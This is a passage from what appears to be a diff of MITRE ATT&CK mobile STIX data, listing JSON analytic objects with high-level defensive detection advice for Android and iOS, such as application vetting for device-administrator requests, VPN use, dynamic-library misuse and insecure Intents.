"x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b755f519-cc0c-44a4-865f-fa9ead44590f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0621#AN1684", + "external_id": "AN1684" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1684", + "description": "Application vetting services could detect when applications store data insecurely, for example, in unprotected external storage.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--50a9f608-68aa-4bf2-b24d-2a22f2a96db4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0622#AN1685", + "external_id": "AN1685" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1685", + "description": "Application vetting services could look for misuse of dynamic libraries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--76cb5e62-9291-411d-90bf-57642b63f8b8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0622#AN1686", + "external_id": "AN1686" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1686", + "description": "Application vetting services could look for misuse of dynamic libraries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--384bbe3f-bb48-4bf3-927e-3a95d13eae82", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0623#AN1687", + "external_id": "AN1687" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1687", + "description": "Mobile security products can potentially detect rogue Wi-Fi access points if the adversary is attempting to decrypt traffic using an untrusted SSL certificate. \nApplication vetting services should look for applications that request VPN access. These applications should be heavily scrutinized since VPN functionality is not very common. \nOn both Android and iOS, the user must grant consent to an application to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is active. The user can see registered VPN services in the device settings. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--6c62144a-cd5c-401c-ada9-58c4c74cd9d2", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e2f72131-14d1-411f-8e8c-aa3453dd5456", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--36ca4ab8-1a16-4989-89e6-8d20c514c8c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0623#AN1688", + "external_id": "AN1688" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1688", + "description": "Mobile security products can potentially detect rogue Wi-Fi access points if the adversary is attempting to decrypt traffic using an untrusted SSL certificate. \nApplication vetting services should look for applications that request VPN access. These applications should be heavily scrutinized since VPN functionality is not very common. \nOn both Android and iOS, the user must grant consent to an application to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is active. The user can see registered VPN services in the device settings. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--6c62144a-cd5c-401c-ada9-58c4c74cd9d2", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e2f72131-14d1-411f-8e8c-aa3453dd5456", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4d499685-2a71-4d66-8b44-fae780c3e998", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0624#AN1689", + "external_id": "AN1689" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1689", + "description": "Remote access software typically requires many privileged permissions, such as accessibility services or device administrator. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e2f72131-14d1-411f-8e8c-aa3453dd5456", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a180ad2e-e3fa-4cec-a1f0-8baf754d9543", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0624#AN1690", + "external_id": "AN1690" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1690", + "description": "Remote access software typically requires many privileged permissions, such as accessibility services or device administrator. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e2f72131-14d1-411f-8e8c-aa3453dd5456", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--66adf2b9-42aa-401f-8bc3-3830854017ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0625#AN1691", + "external_id": "AN1691" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1691", + "description": "Application vetting services could look for applications attempting to get `android.os.SystemProperties` or `getprop` with the runtime `exec()` commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c956f269-d282-4c68-afc6-ca68d8532ab6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0625#AN1692", + "external_id": "AN1692" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1692", + "description": "Application vetting services could look for applications attempting to get `android.os.SystemProperties` or `getprop` with the runtime `exec()` commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5e90ac48-345b-445a-877f-596737ad7efb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0626#AN1693", + "external_id": "AN1693" + }, + { + "source_name": "Android-AppLinks", + "description": "Android. (n.d.). Handling App Links. Retrieved December 21, 2016.", + "url": "https://developer.android.com/training/app-links/index.html" + }, + { + "source_name": "IETF-OAuthNativeApps", + "description": "W. Denniss and J. Bradley. (2017, October). IETF RFC 8252: OAuth 2.0 for Native Apps. Retrieved November 30, 2018.", + "url": "https://tools.ietf.org/html/rfc8252" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1693", + "description": "When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice. (Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks)\nOn Android, users may be presented with a popup to select the appropriate application to open the URI in. If the user sees an application they do not recognize, they can remove it.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cbdcf6f3-00c3-4c38-bc7c-ffb6806f0a25", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0626#AN1694", + "external_id": "AN1694" + }, + { + "source_name": "Android-AppLinks", + "description": "Android. (n.d.). Handling App Links. Retrieved December 21, 2016.", + "url": "https://developer.android.com/training/app-links/index.html" + }, + { + "source_name": "IETF-OAuthNativeApps", + "description": "W. Denniss and J. Bradley. (2017, October). IETF RFC 8252: OAuth 2.0 for Native Apps. Retrieved November 30, 2018.", + "url": "https://tools.ietf.org/html/rfc8252" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1694", + "description": "When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice. (Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks)\nOn Android, users may be presented with a popup to select the appropriate application to open the URI in. If the user sees an application they do not recognize, they can remove it.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e1db1813-109f-4f24-87e3-5d7b5e506dd3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0627#AN1695", + "external_id": "AN1695" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1695", + "description": "On Android, the user can review which applications have Device Administrator access in the device settings and revoke permission where appropriate. \nApplication vetting services can detect and closely scrutinize applications that utilize Device Administrator access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4a7169fa-79d4-4724-ad55-6e9842b7cb94", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0627#AN1696", + "external_id": "AN1696" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1696", + "description": "On Android, the user can review which applications have Device Administrator access in the device settings and revoke permission where appropriate. \nApplication vetting services can detect and closely scrutinize applications that utilize Device Administrator access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c1cdc6fb-9b7f-4076-9634-c939ddaef2bf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0628#AN1697", + "external_id": "AN1697" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1697", + "description": "Usage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9aa716a2-0301-49cd-89c0-a441e5da0551", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0628#AN1698", + "external_id": "AN1698" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1698", + "description": "Usage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9a574586-2729-4e60-8e60-5e07f200c3ff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0629#AN1699", + "external_id": "AN1699" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1699", + "description": "Network traffic analysis may reveal processes communicating with malicious domains. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--71fc481d-53f9-4a35-9879-e01e17f425f0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0629#AN1700", + "external_id": "AN1700" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1700", + "description": "Network traffic analysis may reveal processes communicating with malicious domains. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6852479f-7c3d-4c69-82b9-b5b9976e4101", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0630#AN1701", + "external_id": "AN1701" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1701", + "description": "The user is prompted for approval when an application requests device administrator permissions.\nApplication vetting services can check for the string `BIND_DEVICE_ADMIN` in the application\u2019s manifest. This indicates it can prompt the user for device administrator permissions.\nThe user can see which applications are registered as device administrators in the device settings.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e2f72131-14d1-411f-8e8c-aa3453dd5456", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cb78ff0f-6f8a-41a8-a199-4660a0addec9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0631#AN1702", + "external_id": "AN1702" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1702", + "description": "Enterprises may be able to detect anomalous traffic originating from mobile devices, which could indicate compromise.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--63e33566-c46c-45b8-acf1-247327b827e1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0632#AN1703", + "external_id": "AN1703" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1703", + "description": "Application vetting services could look for misuse of dynamic libraries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--166d394c-6d24-46d3-866e-4f57ca849e90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0632#AN1704", + "external_id": "AN1704" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1704", + "description": "Application vetting services could look for misuse of dynamic libraries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1a27d3ed-86e8-4389-927d-1d43d94dc719", + "created_by_ref": 